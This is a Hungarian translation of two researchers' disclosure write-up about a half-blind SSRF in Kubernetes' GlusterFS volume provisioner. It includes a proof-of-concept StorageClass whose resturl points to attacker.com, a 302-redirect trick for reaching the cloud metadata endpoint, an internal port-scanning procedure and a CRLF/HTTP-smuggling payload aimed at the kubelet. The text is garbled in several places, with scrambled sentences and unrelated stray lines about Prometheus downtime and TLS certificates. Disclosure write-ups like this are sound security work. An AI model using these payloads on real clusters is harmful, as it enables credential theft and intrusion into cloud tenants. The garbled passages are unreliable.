Megjegyzés fordítás.: a cikk szerzői részletesen elmondják, hogyan fedezték fel a sérülékenységet a Kubernetesben. Bár kezdetben nem tűnt túl veszélyesnek, más tényezőkkel kombinálva bizonyos felhőszolgáltatók esetén a kritikus szintje maximálisnak bizonyult. A szakembercsoport által végzett munka miatt több szervezet is bőségesen megjutalmazta őket.

Kik vagyunk mi
Két francia biztonsági kutató vagyunk, akik közösen fedezték fel a Kubernetes sérülékenységét. Brice Augras és Christophe Hauquiert vagyunk, de sok Bug Bounty-platformon Reeverzax és Hach néven is ismernek minket:
- — ;
- — a Nokia Kubernetes építésze.
Mi történt?
Ez a cikk a módja annak, hogy elmondjuk, hogyan alakult át egy tipikus kutatási projekt váratlanul a hibavadászok életének legizgalmasabb kalandjává (legalábbis eddig).
Ahogy valószínűleg tudják, a hibavadászoknak van néhány figyelemre méltó jellemzője:
- pizza és sör az étrendjük;
- akkor dolgoznak, amikor mindenki más alszik.
Mi sem vagyunk kivételek ebből a szabályból: általában hétvégenként találkozunk, és álmatlan hacker éjszakákat töltünk. De egyik ilyen éjszaka meglehetősen szokatlanul ért véget.
Eredetileg azért ültünk össze, hogy átbeszéljük a részvételt a másnap. A Kubernetes biztonságáról folytatott beszélgetés közben eszünkbe jutott egy régi ötlet, az SSRF () és úgy döntöttünk, megpróbáljuk használni támadási forgatókönyvként.
Este 11-kor kezdtünk el kutatni, és korán reggel mentünk aludni, elégedetten a eredményeinkkel. Ezek a kutatások vezettek minket a MSRC Bug Bounty programhoz és egy privilegizált eskalációs exploit kitalálásához.
Néhány hét/hónap elteltével váratlan eredményünk történetének egyik legmagasabb díját nyertük el az Azure Cloud Bug Bounty keretében — a Kubernetes-től kapott díj mellé!
Kutatási projektünk alapján a Kubernetes Product Security Committee közzétette .
Most szeretnénk minél több információt terjeszteni az általunk felfedezett sérülékenységről. Reméljük, hogy értékelni fogják a felfedezést, és megosztják a műszaki részleteket más infosec közösség tagjaival!
Tehát, ez a mi történetünk…
Környezet
A maximális értelemben, hogy megértsük, mi történt, először nézzük meg, hogyan működik a Kubernetes egy felhőalapú, kezelt környezetben.
Amikor egy Kubernetes klaszter példányt hoz létre egy ilyen környezetben, a vezérlőréteg működéséért általában a felhőszolgáltató felel.

A vezérlőréteg a felhőszolgáltató peremén helyezkedik el, míg a Kubernetes csomópontok a kliens peremén találhatók.
Dinamiku sverésekhez, külső storage-béka háttérből történő dinamikus biztosítást és PVC-vel (persistent volume claim) való összekapcsolását alkalmazzuk.
Tehát, miután a PVC létrejött és társítva lett a StorageClass-szal a K8s klaszterben, a térfogat biztosításáért a kube/cloud controller manager vállalja a felelősséget (a pontos neve a kiadástól függ). (Megjegyzés fordítás.: A CCM-ről a példán keresztül, amely az egyik felhőszolgáltató megvalósítását mutatja be, már írtunk. .)
Többféle provisioner létezik, amelyet a Kubernetes támogat: a legtöbbjük be van építve a míg másokat további provisionerek kezelnek, amelyek podokban helyezkednek el a klaszterben.
Kutatásunk során a térfogat biztosításának belső mechanizmusára összpontosítottunk, amely az alábbiakban látható:

Térfogat dinamikus biztosítása a Kubernetes beépített provisionerével
Röviden, amikor a Kubernetes egy kezelt környezetben van telepítve, a controller manager működéséért a felhőszolgáltató felel, de a térfogat létrehozására irányuló kérelem (a fenti 3. számú) elhagyja a felhőszolgáltató belső hálózatának határait. Itt válik igazán érdekessé a helyzet!
Betörési forgatókönyv
Ebben a részben bemutatjuk, hogyan használtuk fel a fent említett munkafolyamatot, és hogyan jutottunk hozzá a felhőszolgáltató belső erőforrásaihoz. Emellett azt is bemutatjuk, hogyan végezhetünk el bizonyos műveleteket — mint például belső hitelesítési adatok megszerzése vagy privilégiumok felnagyítása.
Egy egyszerű manipuláció (ebben az esetben Service Side Request Forgery) segített átlépni a kliens környezetén a különböző szolgáltatók által kezelt K8s klasztereken.
Kutatásaink során a GlusterFS provisionerére összpontosítottunk. Bár a további lépések egy ilyen kontextusban vannak leírva, ez a sérülékenység a Quobyte, StorageOS és ScaleIO rendszerekre is vonatkozik.

A dinamikus kötetkiadás mechanizmusa visszaélése
a tárolóosztály elemzésekor GlusterFS a Golang kliens forrásaiban mi , hogy az első HTTP-kérelem (3), amelyet a kötet létrehozása során küldtek, a felhasználói URL végén a resturl a szokásos konténerhez hasonló információkat /volumes.
paraméterbe való beillesztésével jött elő. # Ezért döntöttünk úgy, hogy eltávolítjuk ezt a plusz utat a resturl. Íme az első YAML-konfiguráció, amelyet a "félvak" SSRF-sérülékenység ellenőrzésére használtunk. (a félvak SSRF-ről részletesebben olvashat például — a fordító megjegyzése):
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrfEzután a Kubernetes klaszter távoli kezeléséhez a binárist használtuk. kubectlÁltalában a felhőszolgáltatók (Azure, Google, AWS stb.) lehetővé teszik az ehhez a segédprogramhoz szükséges hitelesítő adatok megszerzését.
Ezért sikerült alkalmazni a "különleges" fájlunkat. A kube-controller-manager végrehajtotta az eredményül kapott HTTP-kérelmet:
kubectl create -f sc-poc.yaml 
A támadó szempontjából
Néhány perccel később HTTP-választ is kaptunk a cél szerverről – a describe pvc vagy get events kubectl parancsokkal. És valóban: ez a Kubernetes illesztőprogram alapértelmezés szerint túl beszédes a figyelmeztetéseiben/hibaüzeneteiben...
Íme egy példa egy linkre, https://www.google.framelyet paraméterként állítottunk be. resturl:
kubectl describe pvc poc-ssrf
# vagy használhatja a kubectl get events parancsot. 
Ez a megközelítés alapján korlátozottak voltunk az HTTP POST típusú kérésekre, és nem tudtuk megszerezni a válasz törzsét, ha a visszatérési kód 201volt. Ezért úgy döntöttünk, hogy további kutatásokat végzünk, és új megközelítésekkel bővítjük a feltörési forgatókönyvet.
Kutatásaink evolúciója
- Haladó forgatókönyv #1: A külső szerver 302-es átirányításának használata az HTTP-módszer megváltoztatására, hogy rugalmasabb módot nyújtson a belső adatok gyűjtésére.
- Haladó forgatókönyv #2: A LAN automatizált feltérképezése és a belső erőforrások felfedezése.
- Fejlett forgatókönyv 3: HTTP CRLF + csempészés („smuggling”) használata testreszabott HTTP-kérések létrehozásához és a kube-controller naplóból kinyert adatok megszerzéséhez.
Műszaki specifikációk
- A kutatások során az Azure Kubernetes Service-t (AKS) használták a Kubernetes 1.12-es verziójával Észak-Európában.
- A fent említett forgatókönyveket a Kubernetes legutolsó kiadásaiban hajtották végre, kivéve a harmadik forgatókönyvet, mivel ez Kubernetes-t igényelt, amelyet Golang ≤ 1.12 verzióval állítottak össze.
- A támadó külső szervere —
https://attacker.com.
Fejlett forgatókönyv 1: HTTP POST kérés átirányítása GET kérésre és bizalmas adatok megszerzése
Az alapvető módszert a támadó szerver konfigurálásával javították, hogy visszatérjen 302 HTTP Retcode, hogy a POST kérést GET kérésre alakítsa (4. lépés a diagramon):

Az első kérés (3), amely a klienstől érkezik GlusterFS (Controller Manager), POST típusú. Az alábbi lépések végrehajtásával sikerült azt GET-té alakítanunk:
- Mint paraméter
resturla StorageClass-ban meg van advahttp://attacker.com/redirect.php. - Az Endpoint 302-es HTTP státusz kóddal válaszol a következő Location fejlécsel:
https://attacker.com/redirect.php. Ez lehet bármely más belső erőforrás — ebben az esetben az átirányító linket kizárólag példa céljából használják.http://169.254.169.254net/http könyvtár - már tartalmaz egy előre létrehozott önaláírt TLS/SSL tanúsítványt. Ennyi nekem elegendő, mivel zárva tartom a külső hozzáférést. Azoknak, akik más típusú tanúsítványokat szeretnének használni, van A Golang átirányítja a kérést és a POST-ot GET-té alakítja 302-es státusz kóddal, amelynek következtében a célforráshoz HTTP GET kérés érkezik. Az HTTP válasz testének olvasásához szükség van
PVC objektum: describe kubectl describe pvc xxx
Itt egy példa HTTP válaszra JSON formátumban, amelyet sikerült megszereznünk:A felfedezett sebezhetőség lehetőségei akkoriban korlátozottak voltak a következő okok miatt:

HTTP-fejlécek beillesztésének lehetetlensége a kimenő kérésbe.
- A POST kérés végrehajtásának lehetetlensége paraméterekkel a törzsben (így könnyen kérdezheti le a kulcs értékét az etcd példánytól, amely
- nyitott porttal működik, ha nem titkosított HTTP-t használnak). 2379 A válasz törzsének tartalmának megszerzésének lehetetlensége, amikor a státusz kód 200 volt, és a válasz nem rendelkezett JSON Content-Type-t.
- Fejlett forgatókönyv 2: helyi hálózat beolvasása
Ezt a half-blind SSRF módszert ezután a felhőszolgáltató belső hálózatának beolvasására használták, különféle hallgató szolgáltatások (Metadata példány, Kubelet, etcd stb.) megkérdezésére a válaszok alapján
a kube-controller Először meghatározták a Kubernetes komponensek szabványos hallgató portjait (8443, 10250, 10251 stb.), majd automatizálni kellett a beolvasási folyamatot..

Először a Kubernetes komponensek standard hallgatóportjait (8443, 10250, 10251 stb.) határozták meg, majd az ellenőrzési folyamat automatizálására került sor.
Látható, hogy ez a források szkennelésének módja rendkívül specifikus és nem kompatibilis a klasszikus szkennelőkkel és az SSRF-eszközökkel, ezért úgy döntöttünk, hogy saját bash-scripteket hozzunk létre, amelyek automatizálják az egész folyamatot.
Például, a belső hálózat 172.16.0.0/12 tartományának gyorsabb szkennelése érdekében 15 worker-t indítottunk párhuzamosan. A fenti IP-tartomány csak példa, és a konkrét szolgáltató IP-tartományára módosítható.
Egy IP-cím és egy port szkenneléséhez a következőt kell tenni:
- törölni a legutóbb ellenőrzött StorageClass-t;
- törölni az előzőleg ellenőrzött Persistent Volume Claim-et;
- meg változtatni az IP és Port értékeket a
sc.yaml; - új StorageClass-t kell létrehozni az új IP-vel és porttal;
- új PVC-t kell létrehozni;
- ki kell nyerni a szkennelési eredményeket a PVC leírása segítségével.
Haladó forgatókönyv №3: CRLF injekció + HTTP smuggling az «öreg» Kubernet-es verziókban
Ha emellett a szolgáltató régebbi K8s cluster verziókat kínálta az ügyfeleknek, és és hozzáférést adott a kube-controller-manager naplóihoz, a hatás még jelentősebb volt.
A támadó számára sokkal kényelmesebb megváltoztatni az általa típusú HTTP-kéréseket, amelyek teljes HTTP-válaszokat eredményeznek.

Az utolsó forgatókönyv megvalósításához a következő feltételeknek kellett teljesülniük:
- A felhasználónak hozzáféréssel kell rendelkeznie a kube-controller-manager naplóihoz (mint például Azure LogInsights-ban).
- A Kubernetes cluster-nek a Golang 1.12 alatti verzióját kell használnia.
Helyi környezetet állítottunk fel, amely a Go-ügyfél és egy hamis célkiszolgáló közötti adatcserét imitálta (jelenleg tartózkodunk a PoC közzétételétől).
Felfedezésre került , amely a Golang 1.12 alatti verziókat érintette, és lehetővé tette a hackerek számára a HTTP smuggling/CRLF támadások végrehajtását.
Az előbb említett half-blind SSRF-t együtt ezzel kombinálva képesek voltunk az igényeink szerint kérdéseket küldeni, beleértve a fejléc, HTTP-módszer, paraméterek és adatok cseréjét, amit a kube-controller-manager ezután feldolgozott.
Íme egy példa egy működő «csali»-ra a resturl StorageClass paraméterében, amely hasonló támadási forgatókönyvet valósít meg:
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrnEnnek eredményeként egy hiba lép fel, nem kért válasz, az üzenet, amely a vezérlő naplóiba kerül. A gyári beállítás szerint engedélyezett „bőbeszédűség” miatt a válasz HTTP-üzenet tartalma is ott található.
![]()
Ez volt a legeredményesebb „csalink” a proof of concept keretében.
Ezzel a megközelítéssel számos olyan támadást hajthattunk végre különböző managed k8s szolgáltatók klaszterein, mint például: jogosultságok felemelése az metadata példányok hitelesítő adataihoz való hozzáféréssel, a master DoS támadása (titkosítatlan) HTTP-kérésekkel az etcd master példányain, stb.
The total downtime lasted 26 minutes. No data was lost. The Ingester nodes successfully uploaded all in-memory data to long-term storage. During the shutdown, client Prometheus servers cached remote
A Kubernetes hivatalos nyilatkozata szerint, amelyben felfedezett SSRF-rosszindulatú kódhez tartozó sebezhetőségről van szó, az alábbi minősítést kapta: CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Ha kizárólag a Kubernetes peremével kapcsolatos sebezhetőséget vizsgáljuk, a integritás vektora (integrity vector) a következőképpen minősül: None.
Azonban a lehetséges következmények értékelése a menedzselt szolgáltatási környezetben (és ez volt a kutatásunk legérdekesebb része!) arra ösztönzött minket, hogy a sebezhetőséget átkategorizáljuk Kritikus CVSS10/10 sok disztribútor számára.
Itt további információk találhatók, amelyek segítenek megérteni, hogy miként értékeltük a lehetséges következményeket a felhőkörnyezetekben:
Integritás
- Távparancs-végrehajtás a megszerzett belső hitelesítő adatokkal.
- A fent említett forgatókönyv reprodukálása IDOR (Insecure Direct Object Reference, azaz biztonságtalan közvetlen hivatkozások objektumokra) módszerrel más, a helyi hálózaton felfedezett erőforrásokkal.
Adatvédelem
- Lateral Movement Információgyűjtés a helyi hálózat szkennelésével (SSH verzió, HTTP-szerver verzió, stb. meghatározása).
- Információgyűjtés a példányokról és az infrastruktúráról belső API-k, például a metadata API lekérdezésével (
- Ügyféladatok ellopása felhőhitelesítő adatok segítségével.
http://169.254.169.254, …). - Minden, az integritás vektoraival kapcsolatos exploitálási forgatókönyv
Elérhetőség
használható romboló tevékenységekre és ahhoz vezethet, hogy a kliens pereméről (vagy bármely más helyről) származó master példányok elérhetetlenné válnak. ,elérhetetlenséget okoz.
Mivel K8s-kezelt környezetben voltunk, és az integritásra gyakorolt hatását értékeltük, számos olyan forgatókönyv képzelhető el, amelyek befolyásolhatják a hozzáférhetőséget. Példaként említhetjük az etcd adatbázis sérülését vagy egy kritikus API-hívás végrehajtását a Kuberneteshez.
Kronológia
- 2019. december 6.: felfedezett sebezhetőség bejelentése az MSRC Bug Bounty-n.
- 2020. január 3.: egy harmadik fél tájékoztatta a Kubernetes fejlesztőit arról, hogy dolgozunk a biztonsági problémán. Kérte, hogy az SSRF-t belső (in-core) sebezhetőségként kezeljék. Ezt követően benyújtottunk egy átfogó jelentést a probléma forrásának technikai részleteivel.
- 2020. január 15.: technikai és összesített jelentéseket nyújtottunk be a Kubernetes fejlesztőinek kérésére (a HackerOne platformon keresztül).
- 2020. január 15.: a Kubernetes fejlesztői értesítettek bennünket, hogy a half-blind SSRF + CRLF-injekció a korábbi kiadásokban in-core sebezhetőségnek számít. Azonnal leállítottuk a többi szolgáltató határainak elemzését: a kiváltó okkal most a K8s csapata foglalkozott.
- 2020. január 15.: az MSRC jutalmát a HackerOne-on kaptuk meg.
- 2020. január 16.: a Kubernetes PSC (Termékbiztonsági Bizottság) elismerte a sebezhetőséget, és kérte, hogy titokban tartsuk március közepéig, mivel sok potenciális áldozat van.
- 2020. február 11.: jutalom érkezett a Google VRP-től.
- 2020. március 4.: jutalom érkezett a Kubernetes-től a HackerOne-on.
- 2020. március 15.: az eredetileg tervezett nyilvános bejelentést a COVID-19 helyzet miatt elhalasztották.
- 2020. június 1.: közös nyilatkozat a Kubernetes és a Microsoft részéről a sebezhetőségről.
Röviden összefoglalva
- Sörözünk és pizzát eszünk 🙂
- Belső sebezhetőséget fedeztünk fel a Kubernetes-ben, bár nem is terveztük.
- További elemzést végeztünk különböző felhőszolgáltatók klasztereiben, és sikerült fokozni a sebezhetőség által okozott kárt, hogy további fantasztikus bónuszokat szerezzünk.
- Ebben a cikkben számos technikai részletet talál. Örömmel megvitatjuk Önnel (Twitter: & ).
- Kiderült, hogy a különféle adminisztratív feladatok és a jelentések elkészítése sokkal több időt vesz igénybe, mint vártuk.
Hivatkozások
- ;
- ;
- ;
- .
Fejlesztési eszközök, amelyek Kubernetesben futnak
Olvasson további információkat a blogunkban:
- «»;
- «»;
- «».
Forrás: habr.com
